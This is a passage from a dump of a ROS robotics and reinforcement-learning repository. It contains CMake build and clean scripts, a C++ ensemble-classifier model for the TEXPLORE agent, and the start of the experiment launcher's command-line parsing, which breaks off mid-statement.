\"/home/justin/ros_test/devel/share/gennodejs/ros/rl_msgs/msg/RLAction.js\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/rl_msgs_generate_messages_nodejs.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7617328763008118, "alphanum_fraction": 0.7725631594657898, "avg_line_length": 38.71428680419922, "blob_id": "3664c9f601fd836b301369f0d6dded372873c037", "content_id": "9c3158074df90550e937e13077cd070fced7adb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 277, "license_type": "no_license", "max_line_length": 46, "num_lines": 7, "path": "/src/hector_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"hector_example\")\nset(hector_example_MAINTAINER \"abc <[email protected]>\")\nset(hector_example_DEPRECATED \"\")\nset(hector_example_VERSION \"0.0.0\")\nset(hector_example_BUILD_DEPENDS )\nset(hector_example_RUN_DEPENDS )\nset(hector_example_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.5508750081062317, "alphanum_fraction": 0.5613197684288025, "avg_line_length": 29.054054260253906, "blob_id": "6d4e977c5e814896bd57563b552f79746eb95b92", "content_id": "edd96b20a4b95c162b83d7aacd56de079a516317", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 14457, "license_type": "no_license", "max_line_length": 176, "num_lines": 481, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/MultipleClassifiers.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file MultipleClassifiers.cc\n Implements the Multiple Classifiers class.\n \\author Todd Hester\n*/\n\n#include \"MultipleClassifiers.hh\"\n\n\n\nMultipleClassifiers::MultipleClassifiers(int id, int modelType, int predType,\n int nModels, int trainMode,\n int trainFreq,\n float featPct, float expPct,\n float treeThreshold, bool stoch,\n float featRange, Random rng):\n id(id), modelType(modelType), predType(predType), nModels(nModels),\n mode(trainMode), freq(trainFreq),\n featPct(featPct), expPct(expPct), \n treeThresh(treeThreshold), stoch(stoch), \n addNoise(!stoch && (modelType == M5MULTI || modelType == M5SINGLE || modelType == M5ALLMULTI || modelType == M5ALLSINGLE || modelType == LSTMULTI || modelType == LSTSINGLE)),\n featRange(featRange),\n rng(rng)\n{\n STDEBUG = false;//true;\n ACC_DEBUG = false;//true;\n PRED_DEBUG = false; //true;\n CONF_DEBUG = false;\n COPYDEBUG = false;\n nsteps = 0;\n \n cout << \"Created MultClass \" << id << \" with nModels: \" << nModels << \", addNoise: \" << addNoise << endl;\n\n for (int i = -1; i < id; i++)\n rng.uniform(0,1);\n\n\n initModels();\n\n}\n\nMultipleClassifiers::MultipleClassifiers(const MultipleClassifiers &t):\n id(t.id), modelType(t.modelType), predType(t.predType), nModels(t.nModels),\n mode(t.mode), freq(t.freq),\n featPct(t.featPct), expPct(t.expPct), \n treeThresh(t.treeThresh), stoch(t.stoch), addNoise(t.addNoise),\n featRange(t.featRange), rng(t.rng)\n{\n COPYDEBUG = t.COPYDEBUG;\n if (COPYDEBUG) cout << \" MC copy constructor id \" << id << endl;\n STDEBUG = t.STDEBUG;\n ACC_DEBUG = t.ACC_DEBUG;\n PRED_DEBUG = t.PRED_DEBUG;\n CONF_DEBUG = t.CONF_DEBUG;\n nsteps = t.nsteps;\n\n accuracy = t.accuracy;\n\n infos.resize(nModels);\n models.resize(nModels);\n if (COPYDEBUG) cout << \"models size now \" << models.size() << \" nModels: \" << nModels << endl;\n // copy each model\n for (unsigned i = 0; i < models.size(); i++){\n if (COPYDEBUG)cout << \"MC copy model \" << i << endl;\n models[i] = t.models[i]->getCopy();\n }\n\n if (COPYDEBUG) cout << \"MC copy complete models size: \" << models.size() << endl;\n}\n\nMultipleClassifiers* MultipleClassifiers::getCopy(){\n \n MultipleClassifiers* copy = new MultipleClassifiers(*this);\n return copy;\n\n}\n\nMultipleClassifiers::~MultipleClassifiers() {\n for (unsigned i = 0; i < models.size(); i++){\n delete models[i];\n }\n models.clear();\n accuracy.clear();\n infos.clear();\n}\n\n\nbool MultipleClassifiers::trainInstances(std::vector<classPair> &instances){\n if (STDEBUG) cout << id << \" MultClass trainInstances: \" << instances.size() << endl;\n\n bool changed = false;\n \n std::vector< std::vector<classPair> >subsets(nModels);\n for (int i = 0; i < nModels; i++){\n subsets[i].reserve(instances.size());\n }\n\n for (unsigned j = 0; j < instances.size(); j++){\n bool didUpdate = false;\n \n // train each model\n for (int i = 0; i < nModels; i++){\n \n // check accuracy of this model\n if (predType == BEST || predType == WEIGHTAVG){\n\tfor (unsigned j = 0; j < instances.size(); j++){\n\t updateModelAccuracy(i, instances[j].in, instances[j].out);\n\t}\n }\n\n // create new vector with some random subset of experiences\n if (rng.uniform() < expPct){\n\tfloat origOutput = instances[j].out;\n\tif (addNoise) instances[j].out += rng.uniform(-0.2,0.2)*treeThresh;\n subsets[i].push_back(instances[j]);\n\tif (addNoise) instances[j].out = origOutput;\n\tdidUpdate = true;\n }\n } // model loop\n \n // make sure someone got this instance\n if (!didUpdate){\n int model = rng.uniformDiscrete(0,nModels-1);\n //cout << \"none got instance, update model \" << model << endl;\n if (addNoise) instances[j].out += rng.uniform(-0.2,0.2)*treeThresh;\n subsets[model].push_back(instances[j]);\n }\n } // instances loop\n \n // now update models\n for (int i = 0; i < nModels; i++){\n if (subsets[i].size() > 0){\n if (STDEBUG) cout << id << \" train model \" << i << \" on subset of size \"\n << subsets[i].size() << endl;\n bool singleChange = models[i]->trainInstances(subsets[i]);\n changed = changed || singleChange;\n }\n }\n \n nsteps += instances.size();\n\n return changed;\n}\n\n// here the target output will be a single value\nbool MultipleClassifiers::trainInstance(classPair &instance){\n if (STDEBUG) cout << id << \" trainInstance\" << endl;\n\n bool changed = false;\n\n // train each model\n bool didUpdate = false;\n for (int i = 0; i < nModels; i++){\n\n // check accuracy of this model\n if (predType == BEST || predType == WEIGHTAVG){\n updateModelAccuracy(i, instance.in, instance.out);\n }\n\n // update with new experience\n if (rng.uniform() < expPct){\n didUpdate = true;\n float origOutput = instance.out;\n if (addNoise) instance.out += rng.uniform(-0.2,0.2)*treeThresh;\n bool singleChange = models[i]->trainInstance(instance);\n if (addNoise) instance.out = origOutput;\n changed = changed || singleChange;\n }\n }\n\n // make sure some model got the transition\n if (!didUpdate){\n int model = rng.uniformDiscrete(0,nModels-1);\n if (addNoise) instance.out += rng.uniform(-0.2,0.2)*treeThresh;\n bool singleChange = models[model]->trainInstance(instance);\n changed = singleChange || changed;\n }\n\n nsteps++;\n\n return changed;\n\n}\n\n\n// get all the models outputs and combine them somehow\nvoid MultipleClassifiers::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (STDEBUG) cout << id << \" testInstance\" << endl;\n\n if ((int)infos.size() != nModels){\n infos.resize(nModels);\n }\n\n for (unsigned i = 0; i < infos.size(); i++){\n infos[i].clear();\n }\n\n retval->clear();\n\n // possibly have to init our model\n if ((int)models.size() != nModels)\n initModels();\n\n ///////////////////////////////////\n // return best\n if (predType == BEST){\n float acc = -1.0;\n int best = -1;\n for (int i = 0; i < nModels; i++){\n if (PRED_DEBUG) cout << \"Model \" << i << \" has acc \"\n << accuracy[i] << endl;\n if (accuracy[i] > acc){\n acc = accuracy[i];\n best = i;\n }\n }\n if (PRED_DEBUG) cout << id << \" Returning model \" << best\n << \" with accuracy \" << acc << endl;\n models[best]->testInstance(input, retval);\n return;\n }\n //////////////////////////////////////\n\n\n /////////////////////////////////////////\n // calculate weights for weighted avg\n std::vector<float> weights(nModels, 1.0);\n if (predType == WEIGHTAVG){\n float accSum = 0.0;\n \n for (int j = 0; j < nModels; j++){\n accSum += accuracy[j];\n }\n\n if (accSum > 0.0){\n for (int j = 0; j < nModels; j++){\n weights[j] = (float)nModels * accuracy[j] / accSum;\n if (PRED_DEBUG || ACC_DEBUG) cout << \"Model \" << j << \" acc: \"\n << accuracy[j] << \" weight: \"\n << weights[j] << endl;\n }\n }\n }\n /////////////////////////////////////////\n\n // get state action info from each tree in our set\n for (int j = 0; j < nModels; j++){\n models[j]->testInstance(input, &(infos[j]));\n }\n\n // make a list of all outcomes any model predicted\n for (int i = 0; i < nModels; i++){\n for (std::map<float, float>::iterator it = infos[i].begin();\n it != infos[i].end(); it++){\n\n float outcome = (*it).first;\n float prob = (*it).second;\n\n // only if prob > 0\n if (prob > 0){\n\n // see if its not already in there\n if (!retval->count(outcome)){\n if (PRED_DEBUG) cout << \" new outcome \" << outcome << endl;\n // check if it really is a new one\n for (std::map<float, float>::iterator j = retval->begin();\n j != retval->end(); j++){\n if (fabs(outcome - j->first) < treeThresh){\n if (PRED_DEBUG) cout << \"within treeThresh of \" << j->first << endl;\n outcome = j->first;\n break;\n }\n }\n }\n\n (*retval)[outcome] += (prob * weights[i] / (float)nModels);\n \n if (PRED_DEBUG) cout << \"inserting outcome \" << outcome\n << \" from model \" << i\n << \" with prob: \" << prob\n << \" and weight: \" << weights[i]\n << \" now total prob: \" << (*retval)[outcome] << endl;\n \n }\n }\n }\n}\n\n\n\nfloat MultipleClassifiers::getConf(const std::vector<float> &input){\n if (STDEBUG || CONF_DEBUG) cout << id << \" getConf\" << endl;\n\n if ((int)infos.size() != nModels){\n infos.resize(nModels);\n }\n\n // get predictions if we haven't\n if (predType == BEST || predType == SEPARATE){\n if (CONF_DEBUG) cout << \"conf: getting predictions again\" << endl;\n for (int j = 0; j < nModels; j++){\n infos[j].clear();\n models[j]->testInstance(input, &(infos[j]));\n }\n }\n\n float conf = 0;\n\n // for deterministic trees, calculating a distribution of outcomes\n // calculate kl divergence\n if (modelType == RMAX || modelType == SLF || modelType == C45TREE ||\n modelType == STUMP ){ \n conf = 1.0 - klDivergence(input);\n }\n\n // for continuous trees, providing a single continuous prediction\n // calcluate variance\n else {\n // use scaled sd\n conf = 1.0 - sqrt(variance(input)) / featRange;\n }\n\n if (CONF_DEBUG) cout << \"return conf: \" << conf << endl;\n\n return conf;\n\n}\n\n// calculate kl divergence of these predictions\nfloat MultipleClassifiers::klDivergence(const std::vector<float> &input){\n\n // KL divergence equation\n // D_KL(P||Q) = SUM_i P(i) log (P(i)/Q(i))\n float totalKL = 0.0;\n\n // I guess let's take the avg KL divergence of comparisons \n // between all pairs of models\n for (int i = 0; i < nModels; i++){\n for (int j = 0; j < nModels; j++){\n if (i == j) continue;\n float singleKL = 0.0;\n\n for (std::map<float, float>::iterator it = infos[i].begin();\n it != infos[i].end(); it++){\n \n float outcome = (*it).first;\n float prob = (*it).second;\n \n if (prob == 0){\n continue;\n }\n\n if (CONF_DEBUG) \n cout << \"model \" << i << \" predicts \" << outcome << \" with prob \" \n << prob << \", model \" << j << \" has prob \" \n << infos[j][outcome] << endl;\n\n float jProb = infos[j][outcome];\n if (jProb == 0) jProb = 0.01;\n\n singleKL += prob * log(prob / jProb);\n \n }\n totalKL += singleKL;\n\n if (CONF_DEBUG) \n cout << \"D_KL(\" << i << \"||\" << j << \") = \" << singleKL\n << \" klsum: \" << totalKL << endl;\n\n } // outcomes of model i\n } // models\n\n int npairs = nModels * (nModels - 1);\n float avgKL = totalKL / (float)npairs;\n\n // normalize. since my 0 prob is really 0.01, and log 1/0.01 = 4.60517, we'll divide by that\n avgKL /= 4.60517;\n\n if (CONF_DEBUG) cout << \"AvgKL: \" << avgKL << endl << endl;\n\n return avgKL;\n\n}\n\n// calculate the variance of these predictions\nfloat MultipleClassifiers::variance(const std::vector<float> &input){\n\n float sum = 0.0;\n float sumSqr = 0.0;\n\n for (int i = 0; i < nModels; i++){\n float val = infos[i].begin()->first;\n sum += val;\n sumSqr += (val*val);\n }\n\n float mean = sum / (float)nModels;\n float variance = (sumSqr - sum*mean) / (float)(nModels-1.0);\n\n if (CONF_DEBUG) cout << \"variance of predictions is \" << variance << endl;\n\n return variance;\n\n}\n\n// init models\nvoid MultipleClassifiers::initModels(){\n if (STDEBUG) cout << \"initModels()\" << endl;\n\n models.resize(nModels);\n accuracy.resize(nModels, 0.0);\n\n // init the trees or stumps\n for (int i = 0; i < nModels; i++){\n\n if (modelType == C45TREE){\n models[i] = new C45Tree(id + i*(1+nModels), mode, freq, 0, featPct, rng);\n }\n else if (modelType == M5MULTI){\n models[i] = new M5Tree(id + i*(1+nModels), mode, freq, 0, featPct, false, false, treeThresh, rng);\n }\n else if (modelType == M5ALLMULTI){\n models[i] = new M5Tree(id + i*(1+nModels), mode, freq, 0, featPct, false, true, treeThresh, rng);\n }\n else if (modelType == M5ALLSINGLE){\n models[i] = new M5Tree(id + i*(1+nModels), mode, freq, 0, featPct, true, true, treeThresh, rng);\n }\n else if (modelType == M5SINGLE){\n models[i] = new M5Tree(id + i*(1+nModels), mode, freq, 0, featPct, true, false, treeThresh, rng);\n }\n else if (modelType == LSTSINGLE){\n models[i] = new LinearSplitsTree(id + i*(1+nModels), mode, freq, 0, featPct, true, treeThresh, rng);\n }\n else if (modelType == LSTMULTI){\n models[i] = new LinearSplitsTree(id + i*(1+nModels), mode, freq, 0, featPct, false, treeThresh, rng);\n }\n else if (modelType == STUMP){\n models[i] = new Stump(id + 1*(1+nModels), mode, freq, 0, featPct, rng);\n }\n else if (modelType == ALLM5TYPES){\n // select an m5 type randomly. so multivariate v single and allfeats v subtree feats\n bool simple = rng.bernoulli(0.5);\n bool allFeats = rng.bernoulli(0.5);\n //cout << \"ALL types init tree \" << i << \" with simple: \" << simple << \" and allFeats: \" << allFeats << endl;\n models[i] = new M5Tree(id + i*(1+nModels), mode, freq, 0, featPct, simple, allFeats, treeThresh, rng);\n }\n else {\n cout << \"Invalid model type for this committee\" << endl;\n exit(-1);\n }\n }\n\n}\n\n\nvoid MultipleClassifiers::updateModelAccuracy(int i, const std::vector<float> &in,\n float output){\n\n if (ACC_DEBUG) cout << \"Check model accuracy \" << i << \" curr: \" << accuracy[i] << endl;\n\n // get prediction\n std::map<float, float> pred;\n models[i]->testInstance(in, &pred);\n\n // see if it was correct\n bool correct = true;\n // check trans prob\n // for now, just see if prob of next was ML from this model\n float prob = pred[output];\n if (ACC_DEBUG) cout << \"Model \" << i << \" predicted outcome \"\n << output << \" with prob: \" << prob << endl;\n if (prob <= 0.5)\n correct = false;\n\n // update accuracy\n accuracy[i] = accuracy[i] * (float)nsteps/(float)(nsteps+1.0);\n if (correct)\n accuracy[i] += 1.0/(float)(nsteps+1.0);\n\n if (ACC_DEBUG) cout << \"Model \" << i << \" new accuracy: \" << accuracy[i] << endl;\n\n}\n\n" }, { "alpha_fraction": 0.7858880758285522, "alphanum_fraction": 0.7858880758285522, "avg_line_length": 33.25, "blob_id": "4deac065ec057d27f29837a46c4c40fe61ae0f1d", "content_id": "b383b9cd383342c634227cde67936c23ee8c4dbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 411, "license_type": "no_license", "max_line_length": 76, "num_lines": 12, "path": "/src/roundbot_control/CMakeFiles/diff_controller.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "FILE(REMOVE_RECURSE\n \"CMakeFiles/diff_controller.dir/src/DiffController.cpp.o\"\n \"devel/lib/libdiff_controller.pdb\"\n \"devel/lib/libdiff_controller.so\"\n \"devel/lib/libdiff_controller.pdb\"\n \"CMakeFiles/CMakeRelink.dir/libdiff_controller.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nFOREACH(lang CXX)\n INCLUDE(CMakeFiles/diff_controller.dir/cmake_clean_${lang}.cmake OPTIONAL)\nENDFOREACH(lang)\n" }, { "alpha_fraction": 0.5141873359680176, "alphanum_fraction": 0.5293720364570618, "avg_line_length": 30.08300018310547, "blob_id": "fe4ef2e1979648dcaebf1e1991dcdbb6abe74df9", "content_id": "1a71eb674bfb3afe0dc392e25a91d7426e0d9204", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 31084, "license_type": "no_license", "max_line_length": 237, "num_lines": 1000, "path": "/src/rl-texplore-ros-pkg-master/src/rl_experiment/src/rl.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file Main file that starts agents and environments\n \\author Todd Hester\n*/\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n//////////////////\n// Environments //\n//////////////////\n#include <rl_env/RobotCarVel.hh>\n#include <rl_env/fourrooms.hh>\n#include <rl_env/tworooms.hh>\n#include <rl_env/taxi.hh>\n#include <rl_env/FuelRooms.hh>\n#include <rl_env/stocks.hh>\n#include <rl_env/energyrooms.hh>\n#include <rl_env/MountainCar.hh>\n#include <rl_env/CartPole.hh>\n#include <rl_env/LightWorld.hh>\n\n\n////////////\n// Agents //\n////////////\n#include <rl_agent/QLearner.hh>\n#include <rl_agent/ModelBasedAgent.hh>\n#include <rl_agent/DiscretizationAgent.hh>\n#include <rl_agent/SavedPolicy.hh>\n#include <rl_agent/Dyna.hh>\n#include <rl_agent/Sarsa.hh>\n\n\n\n#include <vector>\n#include <sstream>\n#include <iostream>\n\n#include <getopt.h>\n#include <stdlib.h>\n\nunsigned NUMEPISODES = 1000; //10; //200; //500; //200;\nconst unsigned NUMTRIALS = 1; //30; //30; //5; //30; //30; //50\nunsigned MAXSTEPS = 1000; // per episode\nbool PRINTS = false;\n\n\nvoid displayHelp(){\n cout << \"\\n Call experiment --agent type --env type [options]\\n\";\n cout << \"Agent types: qlearner sarsa modelbased rmax texplore dyna savedpolicy\\n\";\n cout << \"Env types: taxi tworooms fourrooms energy fuelworld mcar cartpole car2to7 car7to2 carrandom stocks lightworld\\n\";\n\n cout << \"\\n Agent Options:\\n\";\n cout << \"--gamma value (discount factor between 0 and 1)\\n\";\n cout << \"--epsilon value (epsilon for epsilon-greedy exploration)\\n\";\n cout << \"--alpha value (learning rate alpha)\\n\";\n cout << \"--initialvalue value (initial q values)\\n\";\n cout << \"--actrate value (action selection rate (Hz))\\n\";\n cout << \"--lamba value (lamba for eligibility traces)\\n\";\n cout << \"--m value (parameter for R-Max)\\n\";\n cout << \"--k value (For Dyna: # of model based updates to do between each real world update)\\n\";\n cout << \"--history value (# steps of history to use for planning with delay)\\n\";\n cout << \"--filename file (file to load saved policy from for savedpolicy agent)\\n\";\n cout << \"--model type (tabular,tree,m5tree)\\n\";\n cout << \"--planner type (vi,pi,sweeping,uct,parallel-uct,delayed-uct,delayed-parallel-uct)\\n\";\n cout << \"--explore type (unknown,greedy,epsilongreedy,variancenovelty)\\n\";\n cout << \"--combo type (average,best,separate)\\n\";\n cout << \"--nmodels value (# of models)\\n\";\n cout << \"--nstates value (optionally discretize domain into value # of states on each feature)\\n\";\n cout << \"--reltrans (learn relative transitions)\\n\";\n cout << \"--abstrans (learn absolute transitions)\\n\";\n cout << \"--v value (For TEXPLORE: b/v coefficient for rewarding state-actions where models disagree)\\n\";\n cout << \"--n value (For TEXPLORE: n coefficient for rewarding state-actions which are novel)\\n\";\n\n cout << \"\\n Env Options:\\n\";\n cout << \"--deterministic (deterministic version of domain)\\n\";\n cout << \"--stochastic (stochastic version of domain)\\n\";\n cout << \"--delay value (# steps of action delay (for mcar and tworooms)\\n\";\n cout << \"--lag (turn on brake lag for car driving domain)\\n\";\n cout << \"--highvar (have variation fuel costs in Fuel World)\\n\";\n cout << \"--nsectors value (# sectors for stocks domain)\\n\";\n cout << \"--nstocks value (# stocks for stocks domain)\\n\";\n\n cout << \"\\n--prints (turn on debug printing of actions/rewards)\\n\";\n cout << \"--nepisodes value (# of episodes to run (1000 default)\\n\";\n cout << \"--seed value (integer seed for random number generator)\\n\";\n\n cout << \"\\n For more info, see: http://www.ros.org/wiki/rl_experiment\\n\";\n\n exit(-1);\n\n}\n\n\nint main(int argc, char **argv) {\n\n // default params for env and agent\n char* agentType = NULL;\n char* envType = NULL;\n float discountfactor = 0.99;\n float epsilon = 0.1;\n float alpha = 0.3;\n float initialvalue = 0.0;\n float actrate = 10.0;\n float lambda = 0.1;\n int M = 5;\n int modelType = C45TREE;\n int exploreType = GREEDY;\n int predType = BEST;\n int plannerType = PAR_ETUCT_ACTUAL;\n int nmodels = 1;\n bool reltrans = true;\n bool deptrans = false;\n float v = 0;\n float n = 0;\n float featPct = 0.2;\n int nstates = 0;\n int k = 1000;\n char *filename = NULL;\n bool stochastic = true;\n int nstocks = 3;\n int nsectors = 3;\n int delay = 0;\n bool lag = false;\n bool highvar = false;\n int history = 0;\n int seed = 1;\n // change some of these parameters based on command line args\n\n // parse agent type\n bool gotAgent = false;\n for (int i = 1; i < argc-1; i++){\n if (strcmp(argv[i], \"--agent\") == 0){\n gotAgent = true;\n agentType = argv[i+1];\n }\n }\n if (!gotAgent) {\n cout << \"--agent type option is required\" << endl;\n displayHelp();\n }\n\n // set some default options for rmax or texplore\n if (strcmp(agentType, \"rmax\") == 0){\n modelType = RMAX;\n exploreType = EXPLORE_UNKNOWN;\n predType = BEST;\n plannerType = VALUE_ITERATION;\n nmodels = 1;\n reltrans = false;\n M = 5;\n history = 0;\n } else if (strcmp(agentType, \"texplore\") == 0){\n modelType = C45TREE;\n exploreType = DIFF_AND_NOVEL_BONUS;\n v = 0;\n n = 0;\n predType = AVERAGE;\n plannerType = PAR_ETUCT_ACTUAL;\n nmodels = 5;\n reltrans = true;\n M = 0;\n history = 0;\n }\n\n // parse env type\n bool gotEnv = false;\n for (int i = 1; i < argc-1; i++){\n if (strcmp(argv[i], \"--env\") == 0){\n gotEnv = true;\n envType = argv[i+1];\n }\n }\n if (!gotEnv) {\n cout << \"--env type option is required\" << endl;\n displayHelp();\n }\n\n // parse other arguments\n char ch;\n const char* optflags = \"geairlmoxpcn:\";\n int option_index = 0;\n static struct option long_options[] = {\n {\"gamma\", 1, 0, 'g'},\n {\"discountfactor\", 1, 0, 'g'},\n {\"epsilon\", 1, 0, 'e'},\n {\"alpha\", 1, 0, 'a'},\n {\"initialvalue\", 1, 0, 'i'},\n {\"actrate\", 1, 0, 'r'},\n {\"lambda\", 1, 0, 'l'},\n {\"m\", 1, 0, 'm'},\n {\"model\", 1, 0, 'o'},\n {\"explore\", 1, 0, 'x'},\n {\"planner\", 1, 0, 'p'},\n {\"combo\", 1, 0, 'c'},\n {\"nmodels\", 1, 0, '#'},\n {\"reltrans\", 0, 0, 't'},\n {\"abstrans\", 0, 0, '0'},\n {\"seed\", 1, 0, 's'},\n {\"agent\", 1, 0, 'q'},\n {\"prints\", 0, 0, 'd'},\n {\"nstates\", 1, 0, 'w'},\n {\"k\", 1, 0, 'k'},\n {\"filename\", 1, 0, 'f'},\n {\"history\", 1, 0, 'y'},\n {\"b\", 1, 0, 'b'},\n {\"v\", 1, 0, 'v'},\n {\"n\", 1, 0, 'n'},\n\n {\"env\", 1, 0, 1},\n {\"deterministic\", 0, 0, 2},\n {\"stochastic\", 0, 0, 3},\n {\"delay\", 1, 0, 4},\n {\"nsectors\", 1, 0, 5},\n {\"nstocks\", 1, 0, 6},\n {\"lag\", 0, 0, 7},\n {\"nolag\", 0, 0, 8},\n {\"highvar\", 0, 0, 11},\n {\"nepisodes\", 1, 0, 12}\n\n };\n\n bool epsilonChanged = false;\n bool actrateChanged = false;\n bool mChanged = false;\n bool bvnChanged = false;\n bool lambdaChanged = false;\n\n while(-1 != (ch = getopt_long_only(argc, argv, optflags, long_options, &option_index))) {\n switch(ch) {\n\n case 'g':\n discountfactor = std::atof(optarg);\n cout << \"discountfactor: \" << discountfactor << endl;\n break;\n\n case 'e':\n epsilonChanged = true;\n epsilon = std::atof(optarg);\n cout << \"epsilon: \" << epsilon << endl;\n break;\n\n case 'y':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0){\n history = std::atoi(optarg);\n cout << \"history: \" << history << endl;\n } else {\n cout << \"--history is not a valid option for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 'k':\n {\n if (strcmp(agentType, \"dyna\") == 0){\n k = std::atoi(optarg);\n cout << \"k: \" << k << endl;\n } else {\n cout << \"--k is only a valid option for the Dyna agent\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 'f':\n filename = optarg;\n cout << \"policy filename: \" << filename << endl;\n break;\n\n case 'a':\n {\n if (strcmp(agentType, \"qlearner\") == 0 || strcmp(agentType, \"dyna\") == 0 || strcmp(agentType, \"sarsa\") == 0){\n alpha = std::atof(optarg);\n cout << \"alpha: \" << alpha << endl;\n } else {\n cout << \"--alpha option is only valid for Q-Learning, Dyna, and Sarsa\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 'i':\n {\n if (strcmp(agentType, \"qlearner\") == 0 || strcmp(agentType, \"dyna\") == 0 || strcmp(agentType, \"sarsa\") == 0){\n initialvalue = std::atof(optarg);\n cout << \"initialvalue: \" << initialvalue << endl;\n } else {\n cout << \"--initialvalue option is only valid for Q-Learning, Dyna, and Sarsa\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 'r':\n {\n actrateChanged = true;\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") == 0){\n actrate = std::atof(optarg);\n cout << \"actrate: \" << actrate << endl;\n } else {\n cout << \"Model-free methods do not require an action rate\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 'l':\n {\n lambdaChanged = true;\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") == 0 || strcmp(agentType, \"sarsa\") == 0){\n lambda = std::atof(optarg);\n cout << \"lambda: \" << lambda << endl;\n } else {\n cout << \"--lambda option is invalid for this agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 'm':\n {\n mChanged = true;\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") == 0){\n M = std::atoi(optarg);\n cout << \"M: \" << M << endl;\n } else {\n cout << \"--M option only useful for model-based agents, not \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 'o':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") == 0){\n if (strcmp(optarg, \"tabular\") == 0) modelType = RMAX;\n else if (strcmp(optarg, \"tree\") == 0) modelType = C45TREE;\n else if (strcmp(optarg, \"texplore\") == 0) modelType = C45TREE;\n else if (strcmp(optarg, \"c45tree\") == 0) modelType = C45TREE;\n else if (strcmp(optarg, \"m5tree\") == 0) modelType = M5ALLMULTI;\n if (strcmp(agentType, \"rmax\") == 0 && modelType != RMAX){\n cout << \"R-Max should use tabular model\" << endl;\n exit(-1);\n }\n } else {\n cout << \"Model-free methods do not need a model, --model option does nothing for this agent type\" << endl;\n exit(-1);\n }\n cout << \"model: \" << modelNames[modelType] << endl;\n break;\n }\n\n case 'x':\n {\n if (strcmp(optarg, \"unknown\") == 0) exploreType = EXPLORE_UNKNOWN;\n else if (strcmp(optarg, \"greedy\") == 0) exploreType = GREEDY;\n else if (strcmp(optarg, \"epsilongreedy\") == 0) exploreType = EPSILONGREEDY;\n else if (strcmp(optarg, \"unvisitedstates\") == 0) exploreType = UNVISITED_BONUS;\n else if (strcmp(optarg, \"unvisitedactions\") == 0) exploreType = UNVISITED_ACT_BONUS;\n else if (strcmp(optarg, \"variancenovelty\") == 0) exploreType = DIFF_AND_NOVEL_BONUS;\n if (strcmp(agentType, \"rmax\") == 0 && exploreType != EXPLORE_UNKNOWN){\n cout << \"R-Max should use \\\"--explore unknown\\\" exploration\" << endl;\n exit(-1);\n }\n else if (strcmp(agentType, \"texplore\") != 0 && strcmp(agentType, \"modelbased\") != 0 && strcmp(agentType, \"rmax\") != 0 && (exploreType != GREEDY && exploreType != EPSILONGREEDY)) {\n cout << \"Model free methods must use either greedy or epsilon-greedy exploration!\" << endl;\n exploreType = EPSILONGREEDY;\n exit(-1);\n }\n cout << \"explore: \" << exploreNames[exploreType] << endl;\n break;\n }\n\n case 'p':\n {\n if (strcmp(optarg, \"vi\") == 0) plannerType = VALUE_ITERATION;\n else if (strcmp(optarg, \"valueiteration\") == 0) plannerType = VALUE_ITERATION;\n else if (strcmp(optarg, \"policyiteration\") == 0) plannerType = POLICY_ITERATION;\n else if (strcmp(optarg, \"pi\") == 0) plannerType = POLICY_ITERATION;\n else if (strcmp(optarg, \"sweeping\") == 0) plannerType = PRI_SWEEPING;\n else if (strcmp(optarg, \"prioritizedsweeping\") == 0) plannerType = PRI_SWEEPING;\n else if (strcmp(optarg, \"uct\") == 0) plannerType = ET_UCT_ACTUAL;\n else if (strcmp(optarg, \"paralleluct\") == 0) plannerType = PAR_ETUCT_ACTUAL;\n else if (strcmp(optarg, \"realtimeuct\") == 0) plannerType = PAR_ETUCT_ACTUAL;\n else if (strcmp(optarg, \"realtime-uct\") == 0) plannerType = PAR_ETUCT_ACTUAL;\n else if (strcmp(optarg, \"parallel-uct\") == 0) plannerType = PAR_ETUCT_ACTUAL;\n else if (strcmp(optarg, \"delayeduct\") == 0) plannerType = POMDP_ETUCT;\n else if (strcmp(optarg, \"delayed-uct\") == 0) plannerType = POMDP_ETUCT;\n else if (strcmp(optarg, \"delayedparalleluct\") == 0) plannerType = POMDP_PAR_ETUCT;\n else if (strcmp(optarg, \"delayed-parallel-uct\") == 0) plannerType = POMDP_PAR_ETUCT;\n if (strcmp(agentType, \"texplore\") != 0 && strcmp(agentType, \"modelbased\") != 0 && strcmp(agentType, \"rmax\") != 0){\n cout << \"Model-free methods do not require planners, --planner option does nothing with this agent\" << endl;\n exit(-1);\n }\n if (strcmp(agentType, 